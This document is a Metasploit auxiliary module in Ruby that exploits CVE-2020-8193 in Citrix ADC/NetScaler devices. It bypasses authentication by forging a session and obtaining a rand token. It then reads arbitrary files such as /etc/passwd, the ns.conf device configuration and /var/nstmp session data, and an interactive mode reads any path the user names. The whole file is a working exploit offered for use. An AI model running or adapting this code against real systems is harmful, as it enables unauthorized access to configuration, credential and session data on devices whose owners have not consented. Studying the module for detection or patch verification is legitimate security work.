1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix ADC NetScaler - Local File Inclusion (Metasploit)',
'Description' => %{
The remote device is affected by multiple vulnerabilities.
An authorization bypass vulnerability exists in Citrix ADC and NetScaler Gateway devices.
An unauthenticated remote attacker with access to the `NSIP/management interface` can exploit
this to bypass authorization (CVE-2020-8193).
And Information disclosure (CVE-2020-8195 and CVE-2020-8196) - but at this time unclear which.
},
'Author' => [
'Donny Maasland', # Discovery
'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
],
'References' => [
['CVE', '2020-8193'],
['CVE', '2020-8195'],
['CVE', '2020-8196'],
['URL', 'https://dmaasland.github.io/posts/citrix.html'],
['URL', 'https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/amp/'],
['URL', 'https://github.com/jas502n/CVE-2020-8193']
],
'DisclosureDate' => '2020-07-09',
'License' => MSF_LICENSE,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
}
))
register_options([
OptEnum.new('MODE', [true, 'Start type.', 'discovery', [ 'discovery', 'interactive', 'sessions']]),
OptString.new('PATH', [false, 'File or directory you want to read', '/nsconfig/ns.conf']),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def create_session
params = 'type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1'
request = {
'method' => 'POST',
'uri' => "#{normalize_uri(target_uri.path, 'pcidss', 'report')}?#{params}",
'ctype' => 'application/xml',
'headers' => {
'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8)
},
'data' => '<appfwprofile><login></login></appfwprofile>'
}
request = request.merge({'cookie' => @cookie}) if @cookie
response = send_request_raw(request)
unless response && response.code == 406
print_error("#{@message_prefix} - No response to session request.")
return
end
response.get_cookies
end
def fix_session_rand
response = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'menu', 'ss'),
'cookie' => @cookie,
'vars_get' => {
'sid' => 'nsroot',
'username' => 'nsroot',
'force_setup' => '1'
}
)
if response && response.code == 302
location = response.headers['location']
response = send_request_cgi(
'method' => 'GET',
'uri' => location,
'cookie' => @cookie
)
return unless response && response.code == 200
end
response.to_s.scan(/rand = "([^"]+)"/).join
end
def read_lfi(path, var_rand)
params = "filter=path:#{path}"
request = {
'method' => 'POST',
'uri' => "#{normalize_uri(target_uri.path, 'rapi', 'filedownload')}?#{params}",
'cookie' => @cookie,
'ctype' => 'application/xml',
'headers' => {
'X-NITRO-USER' => Rex::Text.rand_text_alpha(6..8),
'X-NITRO-PASS' => Rex::Text.rand_text_alpha(6..8),
'rand_key' => var_rand
},
'data' => '<clipermission></clipermission>'
}
response = send_request_raw(request)
end
def run_host(ip)
proto = (datastore['SSL'] ? 'https' : 'http')
@message_prefix = "#{proto}://#{ip}:#{datastore['RPORT']}"
@cookie = create_session
if @cookie && @cookie =~ /SESSID/
print_status("#{@message_prefix} - Got session: #{@cookie.split(' ')[0]}")
var_rand = fix_session_rand
unless var_rand
print_error("#{@message_prefix} - Unable to get rand value.")
return Exploit::CheckCode::Unknown
end
print_status("#{@message_prefix} - Got rand: #{var_rand}")
print_status("#{@message_prefix} - Re-breaking session...")
create_session
case datastore['MODE']
when /discovery/
response = read_lfi('/etc/passwd'.gsub('/', '%2F'), var_rand)
if response.code == 406
if response.body.include? ('root:*:0:0:')
print_warning("#{@message_prefix} - Vulnerable.")
return Exploit::CheckCode::Vulnerable
end
end
when /interactive/
# TODO: parse response
response = read_lfi(datastore['PATH'].gsub('/', '%2F'), var_rand)
if response.code == 406
print_line("#{response.body}")
end
return
when /sessions/
# TODO: parse response
response = read_lfi('/var/nstmp'.gsub('/', '%2F'), var_rand)
if response.code == 406
print_line("#{response.body}")
end
return
end
end
print_good("#{@message_prefix} - Not Vulnerable.")
return Exploit::CheckCode::Safe
end
end
|